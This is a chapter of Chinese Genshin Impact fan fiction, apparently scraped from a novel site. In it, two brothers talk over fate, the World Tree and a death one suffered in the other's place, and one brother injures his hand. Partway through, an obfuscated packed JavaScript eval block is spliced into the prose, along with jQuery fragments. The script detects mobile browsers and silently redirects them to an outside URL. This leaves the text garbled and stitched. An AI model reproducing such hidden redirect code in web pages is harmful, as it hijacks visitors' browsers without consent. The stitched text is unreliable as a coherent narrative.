136.命运规划的救世法

作品:《[原神]飞鸟相与还

    几人快步赶回阿如村,最后还是慢了一步。


    月见里清也来时看到评委席没有选手不假,但就在他寻找月见里凪和的路上,赛诺关停了一处地脉干扰器,另一处的地脉干扰器也被莱依拉关停。


    二人返回阿如村的速度要比卡维和月见里凪和快,所以最后还是只获得第三名的成绩。


    原本积分排名最高的提纳里退赛,没有积分,赛诺、卡维和月见里凪和这几个上一场比赛没有积分的又在这一场追了上来,几个学院的积分差距都不大,冠军最后花落谁家还真不好说。


    比赛刚结束时天色还没完全黑下来,不少去阿如村观看比赛的学生在得知结果后,先一步返回须弥城。月见里清也和月见里凪和原本也想接着走,但赛方特意在村里设置了休息区,选手们在结束比赛后可以休整一番,再返回城里。


    于是,在众人眼中只是两个“普通人”的月见里凪和和月见里清也,只好随着大流,在村里坐了一会。


    而那些先一步回去的学者,已经将比赛结果传扬出去。总之,在最后一场比赛开始前,关心比赛的教令院学生可有的猜了。


    月见里清也刚进城,就听见两个刚从游园会回来的学子争论争霸赛冠军的事。


    倒不是他有意偷听,只是两位争得面红耳赤,恨不得引经据典的来辩证为什么不能是自家代表夺冠的样子,属实是无法让人忽视。


    还好这两位学者只是嗓门大了些,还远未到动手的地步,月见里清也静静地听了会,感觉还蛮有意思的。


    就当他听的津津有味时,一只手突然从伸过来,拎住他衣服后领,像拎猫一样把他领走。


    月见里凪和一手提着东西,另一只手拎着看热闹的弟弟:“走了。”


    月见里清也吓了一跳,为了不在大晚上被自己亲哥当众勒死,只能顺着这股力道倒着向后走,“你怎么走路的时候都没声?”


    “是你自己听得太入迷,反倒赖我?”月见里凪和松了手,继续往前走。


    木屐磕在石板路上的声音要比普通鞋子大的多,如果不是刻意控制,基本上很难做到悄无声息。月见里清也是在听学者争论不假,但还没到入迷的程度,他确信自己方才没有听见月见里凪和过来的脚步声。


    看着刻意控制着声音憋着坏的月见里凪和,月见里清也挑了挑眉,懒得拆穿。


    他绕到另一侧,接过月见里凪和手里提着的东西,肩并肩走着。回到家后,他从纸袋中拿出饭菜。


    阿如村到须弥城的距离不远,即使两人身手不凡,再加上神之眼,回到城里的时候天早就黑透了。此时再动火做饭有些晚了,两人索性直接从酒馆买了饭带回去吃。


    吃过饭,月见里清也按照平日习惯去看养在露台上的花,说是露台,其实也算院子的一部分,只不过铺了地板又支了雨棚。


    不管养花也好养其他绿植也罢,想要不招蚊虫的确有些不好办,尤其是在须弥,温热潮湿,稍不注意就有可能泛滥成灾。大多数土培花要么种在院子和露台,小部分不生蚊虫和水培植物才会被他搬进屋子里。


    那盆不知名字却能引来蝴蝶的花曾经也是其中一员,至于现在,已经被月见里清也从屋里请回屋外院子中,偶尔还能看见几只蝴蝶在窗外逗留。


    月见里清也心思暂时不在这些花上,草草看过一眼就回到屋内。


    在拉上客厅窗帘之前,他又扫一眼窗外,今夜月色还算不错,繁星挂在天空上,万年如一日,以他的水平来看,最多只能看出来明天是个晴天。


    收回视线,月见里清也缓缓吐出一口气,没有任何铺垫,“你冲进世界树后,在里面都看到了什么?”


    刚才结束比赛回到家,好不容易能休息一会的月见里凪和,被自己弟弟这句话打了一个措手不及。最初的呆滞过去后,几乎是惊愕地看着月见里清也。


    月见里清也说这话时脸上表情淡淡的,垂眸盯着茶几上新换的一套玻璃茶具,仿佛就是随口一提,闹得月见里凪和也分不清他是要翻旧账还是认真的。


    月见里清也倒了两杯水,长发从肩头滑落,遮住了他嘴边若有若无地笑意:“这才过了几个月,不至于想不起来吧,”


    客厅铺了地毯,家里没有外人,月见里清也随地而坐,一手撑着头,姿态随意的歪头看着他哥。


    “怎么突然问起这个?”月见里凪和问道。


    “因为它与我今日的委托有关,再给你讲述之前,我需要搞清楚到底发生了什么。”月见里清也轻轻一抬手,一串水珠托着茶杯而起,将茶杯稳稳送到月见里凪和面前,“喝点吧,我觉得你一会要说的话会有很多。”


    月见里凪和接过茶杯,那串水珠又在月见里清也的操控下拐了个弯,将他面前的茶杯托了起来,“要不先说说,为什么不告诉我呢?”


    “因为没有必要。”月见里凪和回道。


    “……没必要让我知道?觉得自己可以处理?”


    “不,是因为没有说的必要。”


    月见里清也看着他,“这二者有什么区别?”


    月见里凪和解释道:“前者是因为事态严重,为了保全你,所以我不会告知;后者则完全是因为,我所见到的事与现在的事态毫无关联,说了,反而还会乱你心绪。”


    月见里清也下意识反驳道:“我没这么脆弱。”


    “希望如此。”月见里凪和嘴角扯出一点玩味的笑容,只维持了短短一瞬,随后收敛笑意问道,“当真要听?”


    回答他的只有屋内的寂静,月见里清也没回话,月见里凪和从这份沉默中得知答案,他顿了顿,才开口说:“进入世界树的那一刻,我心里想着的全是如何返回四百年前,阻止错误的诞……咳,试图修改历史。”


    月见里凪和复述当时情况时,不可避免地染上了那时自己的心理活动,下意识将自己比作“错误”,月见里清也闻言瞪着他,硬生生地逼着他改口:“所以,我并没有过多关注世界树内部的东西,但我确实看到了两段‘故事’,像是它故意展现给我看的。”


    彼时,月见里凪和正在寻找回到踏鞴砂的通路,相隔四百年的时光,哪怕出一点差错,都有可能导致出错。


    而这两段故事,就是在他小心翼翼,什么都没有触碰的状态下,突兀地出现在他的眼前。


    【高天的雷霆曾以世界最初的白树追赶『永恒』的脚步,躯壳制成之日,世外的光芒为此驻足,携其伴生灵体渡来此世。】


    【他渡过星海,被世界所接纳,诞生于此世,却又不被世界捆束。


    他曾请求守望樱树的宫司,为小小的灵体求得一副同样的躯壳。宫司用樱枝为灵体塑造躯壳,世界将其视为种子,当漆黑再次来临之日,种子将会再次绽放。


    他视灵体为手足,不忍见其消亡,生死逆转。


    最后,本该高悬的月光坠入树洞,妄图接住月光的灵体最后只有一捧月光的倒影。


    那段故事早已成为遥远的过去,蒙尘的月亮不会再想起高天夜空,直到月光催生了新的树木,为其拂去尘埃,传诵诗篇。】


    两段故事并非记忆,看上去更像是某种编纂出来的神话故事。


    可即便神话故事,也要与现实相结合,在稻妻百姓眼里,他们根本不知道将军曾经用银白古枝创造出一个人偶,又怎么会有相关的神话记载?


    在当时历经降神计划与得知真相的月见里凪和眼里,这两段故事跟嘲讽没有任何区别。


    只是现在看看,能被世界树储存的故事,不一定是虚假的,尤其是在他得知循环存在后。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008337|176541||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可故事说的隐晦,没有提及任何有关破局之法,只是暗示自己曾因为救下月见里清也而死亡。也因此,他认为这件事没有向月见里清也提及的必要。


    月见里凪和坦然自若,月见里清也却与他截然相反。


    月见里清也曾经将月见里凪和比作自己心中月亮,这段故事究竟指代的什么几乎不言而喻,可惜自己现在都不记得,不然几乎要认为这故事就是源于自己笔下。


    不管留下这段故事的人是谁,这段故事都是在明着告诉他,月见里凪和是代替自己而死亡的,本该融合世界树的人是自己。


    超越者不受既定命运控制,所以月见里凪和才能跳出命运,代替自己融合世界树,上个循环改变的命运,延续到现在成为他们新的命运。


    这也就是青羽澈所说的“错误的命运”,本该活着的人死了,该死的人却活着。


    即便月见里清也最后不知因什么原因也死了,可有什么用呢?他也没死在本该死的地方,没有阻挡住深渊。


    所以,我才是那个“凶手”?


    月见里清也耳畔嗡嗡作响,血气不断从四肢中抽离,逐渐变得冰凉麻木,无法感知到存在,他下意识收紧指尖,试图找回一点操控权。然而,下一秒就被人攥紧手腕。


    他愣愣抬头,见月见里凪和不知道什么时候离开了沙发,走到他这一边,神色不虞道:“松手。”


    感觉一阵凉意从手腕划过,沿着手臂逐渐向袖中蔓延,月见里清也垂下视线,见手中的茶杯不知何时被他握碎了,杯中的清水顺着裂口涌出,还夹杂着几缕血丝。


    月见里清也后知后觉的感到疼,闻言松开手,玻璃碎片落在桌上,尖端沾着一点猩红。


    他握得太用力,有些伤口很深,月见里凪和捏着他的手腕,翻出医疗箱,皱着眉一点点把混在伤口中的碎渣挑走,视线从未离开眼前鲜血淋漓的手掌,却像未卜先知一般,淡淡的说:“闭嘴。”


    “……”月见里清也刚张开口,闻言又老实闭嘴坐回去了。


    “不管你脑子现在在想些什么,要是敢把那些乱七八糟的念头说出口……”月见里凪和说着扬起一抹和善的笑容,轻声说,“你死定了。”


    月见里凪和生的好看,按理说这么笑看上去应该十分和蔼可亲,可月见里清也清楚的知道他是什么性格,这么笑才瞧上去吓人。


    月见里清也不敢触霉头,默默移开视线,“我没想说什么。”


    月见里凪和意味不明地哼笑一声,用镊子夹着酒精棉,毫不留情地往月见里清也伤口重重上一按。


    尖锐的疼痛在月见里清也脑中炸开,他倒吸一口凉气,下意识往后抽手。


    月见里凪和早有预料,手上又使了几分力气,牢牢捏住月见里清也的手腕,好整以暇地看着他:“清醒了?”


    痛意在月见里清也脑海中兴风作浪,那点悲观情绪瞬间被冲刷的无影无踪,好不容易挨到退潮,他也顾不上方才在想什么了,“嗯。”


    月见里凪和把用过酒精棉扔到一旁,拿了块新的出来:“如果命运要求我眼睁睁地看着自己的弟弟牺牲,来换取这个世界存活,我做不到,也不想按照他们制定的命运走下去。”


    “过去的‘死亡’未必不是一件好事,这难道不是从侧面说明了,你我二人在那些所谓‘至高存在’的眼中,是绝对无法替代的存在吗?”


    月见里清也问:“什么意思?”


    “为什么你的核心拥有净化深渊的能力,为什么最初的命运要求你去抵挡深渊而要我活下来?”月见里凪和抬眸,看着月见里清也,“为什么失去我们之后,提瓦特就会无法阻挡深渊?循环的存在为了找寻救世的办法?不见得吧,办法早就有了。”


    “只有我们死了,循环才会开启。”